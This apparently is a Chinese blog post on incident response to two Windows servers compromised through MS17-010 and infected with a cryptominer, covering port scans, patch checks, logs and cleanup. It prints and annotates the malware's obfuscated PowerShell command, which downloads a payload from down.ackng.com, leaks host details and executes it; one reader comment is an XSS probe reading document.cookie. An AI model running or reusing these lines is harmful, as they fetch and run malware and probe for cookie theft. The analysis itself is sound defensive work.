案例一

在公司这几天收到 CSO 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。

火绒告警信息

通过对这台机器端口扫描结果发现对方也开了 445。😶

135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1688/tcp  open  nsjtp-data
3389/tcp  open  ms-wbt-server
5200/tcp  open  targus-getdata
49152/tcp open  unknown
49153/tcp open  unknown
49155/tcp open  unknown
49197/tcp open  unknown
49350/tcp open  unknown
49438/tcp open  unknown
57084/tcp open  unknown
65529/tcp open  unknown
65530/tcp open  unknown
65533/tcp open  unknown

问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。🙄

任务管理器资源显示信息

那我想怎么能查得到这个 PowerShell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。

wmic process where caption="powershell.exe" get caption,commandline /value

得到异常参数

Caption=powershell.exe
CommandLine=powershell  -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'\if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)" 

一搜其中 down.ackng.com 域名得知是挖矿病毒。

image-20191202112754268.png

手动格式化并查了一堆资料后写下注释。

powershell  
-nop 
-w hidden 
-ep bypass 
-c "
    $ifp=$env:tmp+'\if.bin'; # 获取当前用户tmp目录下if.bin文件信息
        if(test-path $ifp){ # 用test-path判断if.bin文件是否存在
            $con=[System.IO.File]::ReadAllBytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量
            [System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量s
            if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。
        }
        if(!$con){ # 如果$con没被篡改(或不存在)继续往下走
            $con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');
            [System.IO.File]::WriteAllBytes($ifp,$con)
            # 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。
        }
        IEX(-join[char[]]$con) # IEX=Invoke-Expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]
" 

根据脚本 $env:tmp 查看目录中发现 if.binm6.bin

挖矿病毒位置

秦萧公众号的一篇应急响应文章得知一种判断方法,要想判断病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。

netstat -ano 查看网络连接和Wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。

查询系统补丁,服务器系统是 2012R2, MS17-010 的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。

systeminfo | findstr /I "kb4012213"
systeminfo | findstr /I "kb4012216"

系统补丁信息

按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。

  1. 任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。

    image-20191119155804672.png
    image-20191119155236605-1575258332040.png

  2. 日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况....

脚本执行思路

​ 分析 if.bin 文件,得知脚本会扫描整个内网(B和C段)采用 MS17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。

修复策略

  1. 删除异常任务计划
  2. 删除后门文件
  3. 结束PowerShell进程
  4. 开启Windows防火墙,并在入站规则禁止 445。
  5. 下载AD并全盘查杀
  6. 打补丁

案例二

又收到一条阿里云告警信息,下面是

阿里云告警信息

进程信息

进程信息1

进程信息2

进程信息3

网络连接

大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。

网络连接1
网络连接2

补丁信息

未打 ms17-010 补丁。

systeminfo | find "4012215"
systeminfo | find "4012212"
主机名:           xx-xx
OS 名称:          Microsoft Windows Server 2008 R2 Standard 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:       
产品 ID:          00477-001-0000421-84376
初始安装日期:     2013/6/27, 17:14:43
系统启动时间:     2019/11/15, 22:18:50
系统制造商:       Alibaba Cloud
系统型号:         Alibaba Cloud ECS
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz
BIOS 版本:        SeaBIOS 3288b3c, 2014/4/1
Windows 目录:     C:\windows
系统目录:         C:\windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     8,191 MB
可用的物理内存:   4,079 MB
虚拟内存: 最大值: 16,381 MB
虚拟内存: 可用:   7,580 MB
虚拟内存: 使用中: 8,801 MB
页面文件位置:     D:\pagefile.sys
域:               WORKGROUP
登录服务器:       \\xx-xx
修补程序:         安装了 185 个修补程序。
                  [01]: KB981391
                  [02]: KB981392
                  [03]: KB977236
                  [04]: KB981111
                  [05]: KB977238
                  [06]: KB2849697
                  [07]: KB2849696
                  [08]: KB2841134
                  [09]: KB2841134
                  [10]: KB977239
                  [11]: KB2670838
                  [12]: KB2592687
                  [13]: KB981390
                  [14]: KB2386667
                  [15]: KB2425227
                  [16]: KB2506014
                  [17]: KB2506212
                  [18]: KB2506928
                  [19]: KB2509553
                  [20]: KB2511455
                  [21]: KB2515325
                  [22]: KB2529073
                  [23]: KB2533552
                  [24]: KB2536275
                  [25]: KB2536276
                  [26]: KB2541014
                  [27]: KB2544893
                  [28]: KB2545698
                  [29]: KB2547666
                  [30]: KB2552343
                  [31]: KB2560656
                  [32]: KB2563227
                  [33]: KB2564958
                  [34]: KB2570947
                  [35]: KB2574819
                  [36]: KB2584146
                  [37]: KB2585542
                  [38]: KB2603229
                  [39]: KB2604115
                  [40]: KB2607047
                  [41]: KB2608658
                  [42]: KB2618451
                  [43]: KB2620704
                  [44]: KB2621440
                  [45]: KB2631813
                  [46]: KB2636573
                  [47]: KB2640148
                  [48]: KB2643719
                  [49]: KB2644615
                  [50]: KB2645640
                  [51]: KB2647753
                  [52]: KB2653956
                  [53]: KB2654428
                  [54]: KB2655992
                  [55]: KB2656356
                  [56]: KB2658846
                  [57]: KB2659262
                  [58]: KB2660075
                  [59]: KB2667402
                  [60]: KB2676562
                  [61]: KB2685811
                  [62]: KB2685813
                  [63]: KB2685939
                  [64]: KB2690533
                  [65]: KB2691442
                  [66]: KB2698365
                  [67]: KB2699779
                  [68]: KB2705219
                  [69]: KB2706045
                  [70]: KB2709630
                  [71]: KB2709981
                  [72]: KB2712808
                  [73]: KB2718704
                  [74]: KB2719857
                  [75]: KB2726535
                  [76]: KB2729094
                  [77]: KB2729452
                  [78]: KB2732059
                  [79]: KB2742599
                  [80]: KB2743555
                  [81]: KB2749655
                  [82]: KB2750841
                  [83]: KB2753842
                  [84]: KB2757638
                  [85]: KB2758857
                  [86]: KB2761217
                  [87]: KB2763523
                  [88]: KB2765809
                  [89]: KB2770660
                  [90]: KB2779562
                  [91]: KB2785220
                  [92]: KB2786081
                  [93]: KB2786400
                  [94]: KB2789645
                  [95]: KB2790113
                  [96]: KB2791765
                  [97]: KB2798162
                  [98]: KB2800095
                  [99]: KB2804579
                  [100]: KB2807986
                  [101]: KB2808679
                  [102]: KB2813170
                  [103]: KB2813347
                  [104]: KB2813430
                  [105]: KB2820197
                  [106]: KB2820331
                  [107]: KB2829361
                  [108]: KB2830290
                  [109]: KB2834140
                  [110]: KB2835361
                  [111]: KB2836502
                  [112]: KB2836943
                  [113]: KB2838727
                  [114]: KB2839894
                  [115]: KB2840149
                  [116]: KB2843630
                  [117]: KB2845690
                  [118]: KB2847311
                  [119]: KB2852386
                  [120]: KB2853952
                  [121]: KB2862152
                  [122]: KB2862330
                  [123]: KB2862335
                  [124]: KB2862966
                  [125]: KB2862973
                  [126]: KB2864058
                  [127]: KB2864202
                  [128]: KB2868038
                  [129]: KB2868116
                  [130]: KB2868626
                  [131]: KB2871997
                  [132]: KB2872339
                  [133]: KB2882822
                  [134]: KB2884256
                  [135]: KB2887069
                  [136]: KB2888049
                  [137]: KB2891804
                  [138]: KB2892074
                  [139]: KB2893294
                  [140]: KB2893519
                  [141]: KB2908783
                  [142]: KB2912390
                  [143]: KB2913152
                  [144]: KB2918614
                  [145]: KB2919469
                  [146]: KB2922229
                  [147]: KB2926765
                  [148]: KB2928562
                  [149]: KB2929733
                  [150]: KB2929755
                  [151]: KB2939576
                  [152]: KB2957189
                  [153]: KB2957503
                  [154]: KB2957509
                  [155]: KB2961072
                  [156]: KB2961851
                  [157]: KB2966583
                  [158]: KB2970228
                  [159]: KB2973201
                  [160]: KB2973351
                  [161]: KB2976897
                  [162]: KB2977292
                  [163]: KB2977728
                  [164]: KB2978092
                  [165]: KB2978120
                  [166]: KB2978668
                  [167]: KB2980245
                  [168]: KB2984972
                  [169]: KB2984976
                  [170]: KB2985461
                  [171]: KB2991963
                  [172]: KB2992611
                  [173]: KB2993651
                  [174]: KB2993958
                  [175]: KB2998527
                  [176]: KB2999226
                  [177]: KB3002885
                  [178]: KB3003057
                  [179]: KB3003743
                  [180]: KB3005607
                  [181]: KB3006226
                  [182]: KB3008627
                  [183]: KB3010788
                  [184]: KB976902
                  [185]: KB982018
网卡:             安装了 3 个 NIC。
                  [01]: Microsoft Loopback Adapter
                      连接名:      loopback
                      启用 DHCP:   是
                      DHCP 服务器: 255.255.255.255
                      IP 地址
                        [01]: 169.254.114.140
                        [02]: fe80::8074:78b9:934f:728c
                  [02]: Microsoft Loopback Adapter
                      连接名:      Npcap Loopback Adapter
                      启用 DHCP:   是
                      DHCP 服务器: 255.255.255.255
                      IP 地址
                        [01]: 169.254.219.140
                        [02]: fe80::e0cd:a78e:5d99:db8c
                  [03]: Red Hat VirtIO Ethernet Adapter
                      连接名:      本地连接 3
                      启用 DHCP:   否
                      IP 地址
                        [01]: 192.168.2.18
                        [02]: fe80::3413:ef0f:fac1:6468

日志信息

根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。

image-20191122112153705.png

通过查询服务创建时间和释放时间吻合。

image-20191122110532809.png

处理

  1. 通过火绒扫描删除恶意程序
  2. 防火墙入站规则禁止 445 连接本机。

PS:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。

参考链接

标签: none

已有 5 条评论

  1. alert(document.cookie)

    1. 光板板 光板板

      洋哥秀的很呐😆

  2. 同桌厉害呀!有洋哥的风范

  3. 同桌厉害呀!有洋哥的风范

  4. 光板板 光板板

    这图片看的憋屈....想调整一下文章布局侧边栏去掉可能观感更好。

讨论讨论讨论!